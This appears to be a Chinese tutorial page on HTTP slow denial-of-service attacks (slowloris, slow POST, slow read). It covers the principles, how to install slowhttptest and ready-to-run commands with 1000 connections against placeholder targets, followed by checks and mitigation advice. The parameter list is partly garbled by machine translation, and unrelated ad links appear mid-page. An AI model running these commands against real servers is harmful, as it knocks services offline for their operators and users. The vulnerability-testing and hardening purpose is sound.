1. 程式人生 > 實用技巧 >HTTP慢速攻擊

HTTP慢速攻擊

漏洞原理

HTTP慢速攻擊也叫slow http attack,是一種DoS攻擊的方式。由於HTTP請求底層使用TCP網路連線進行會話,因此如果中介軟體對會話超時時間設定不合理,並且HTTP在傳送請求的時候採用慢速發HTTP請求,就會導致佔用一個HTTP連線會話。如果傳送大量慢速的HTTP包就會導致拒絕服務攻擊DoS。

3種攻擊方式

1.Slow headers(也稱slowloris):Web應用在處理HTTP請求之前都要先接收完所有的HTTP頭部,Web伺服器再沒接收到2個連續的\r\n時,會認為客戶端沒有傳送完頭部,而持續的等等客戶端傳送資料,消耗伺服器的連線和記憶體資源。

2.Slow body(也稱Slow HTTP POST):攻擊者傳送一個HTTP POST請求,該請求的Content-Length頭部值很大,使得Web伺服器或代理認為客戶端要傳送很大的資料。伺服器會保持連線準備接收資料,但攻擊客戶端每次只發送很少量的資料,使該連線一直保持存活,消耗伺服器的連線和記憶體資源。

3.Slow read(也稱Slow Read attack):客戶端與伺服器建立連線併發送了一個HTTP請求,客戶端傳送完整的請求給伺服器端,然後一直保持這個連線,以很低的速度讀取Response,比如很長一段時間客戶端不讀取任何資料,通過傳送Zero Window到伺服器,讓伺服器誤以為客戶端很忙,直到連線快超時前才讀取一個位元組,以消耗伺服器的連線和記憶體資源。

漏洞驗證

使用工具:slowhttptest

SlowHTTPTest是一款對伺服器進行慢攻擊的測試軟體,所謂的慢攻擊就是相對於cc或者DDoS的快而言的,並不是只有量大速度快才能把伺服器搞掛,使用慢攻擊有時候也能到達同一效果。slowhttptest包含了之前幾種慢攻擊的攻擊方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那麼這些慢攻擊工具的原理就是想辦法讓伺服器等待,當伺服器在保持連線等待時,自然就消耗了資源。

安裝工具

Kali Linux:

apt-get install slowhttptest

其他Linux發行版:

./configure
make
sudo make install

引數說明

-a 一開始開始值範圍說明符用於範圍頭測試
-b 將位元組限制的範圍說明符用於範圍頭測試
-c 連線數限制為65539
-d  proxy host:port用於指導所有流量通過web代理
-e  proxy host:port埠用於指導只有探針交通通過web代理
-h,B,R或x 指定減緩在頭部分或在訊息體,- R 允許範圍檢驗,使慢讀測試- x
-g  生成統計資料在CSV和html格式,模式是緩慢的xxx。csv / html,其中xxx是時間和日期
-i  seconds秒間隔跟蹤資料在幾秒鐘內,每個連線
-k  管道因子次數重複請求在同一連線慢讀測試如果伺服器支援HTTP管道內襯。
-l  在幾秒鐘內,秒測試時間
-n  秒間隔從接收緩衝區讀取操作
-o  檔案定義輸出檔案路徑和/或名稱,如果指定有效- g
-p  秒超時等待HTTP響應在探頭連線後,伺服器被認為是不可訪問的
-r  seconds連線速度
-s  位元組值的內容長度標題詳細說明,如果指定- b
-t  verb自定義
-u  URL目標URL,相同的格式鍵入瀏覽器,e。g https://host[:port]/
-v  level冗長等級0 – 4的日誌
-w  位元組範圍廣告的視窗大小會選擇從
-x  位元組最大長度的跟蹤資料結束
-y  位元組範圍廣告的視窗大小會選擇從
-z  位元組從接收緩衝區讀取位元組與單一的read()操作

電腦刺繡繡花廠 http://www.szhdn.com 廣州品牌設計公司https://www.houdianzi.com

驗證命令

slowloris模式:

slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://yourtarget.com/index.html -x 24 -p 3

Slow Body攻擊:

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mywebsite.com -x 10 -p 3

Slow Read模式:

slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://yourtarget.com -p 5 -l 350 -e x.x.x.x:8080

判斷依據

1、當伺服器可控,可以通過以下命令來確認是否存在該漏洞:
pgrep http | wc -l  程序數量
netstat -antp | grep 443 |wc -l  網路連線數量
2、在攻擊的時間段,服務無法正常訪問則存在漏洞。

修復建議

  • 設定URL白名單和黑名單,識別壞的IP;
  • 設定一個絕對連線超時;
  • 定義最小的輸入資料速率;
  • 對web伺服器的http頭部傳輸的最大許可時間進行限制,修改成最大許可時間為20秒。